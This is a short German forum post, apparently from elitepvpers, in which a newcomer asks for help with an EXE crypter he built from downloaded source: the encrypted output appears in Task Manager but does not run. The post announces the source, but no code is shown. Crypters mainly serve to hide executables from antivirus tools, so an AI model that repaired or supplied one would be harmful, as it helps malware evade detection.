Ich bin relativ neu in epvp und hoffe ich verstoße nicht gegen die regeln, aber ich habe eine frage... undzwar hab ich mir einen exe crypter source runtergeladen und wollte damit einen crypter zusammenstellen, klappt eigenlich schon ganz gut...
ich kann die datei öffnen und es wird eine neue erstellt, die ungefähr gleich groß wie die gecryptete ist nur das problem ist, dass ich die neue exe nicht ausführen kann, bzw. wenn ich sie doppelklicke wird sie dann zwar in meinen taskmanager angezeigt, aber mehr auch ned...
hoffe einer kann mir helfen.
hier der source:
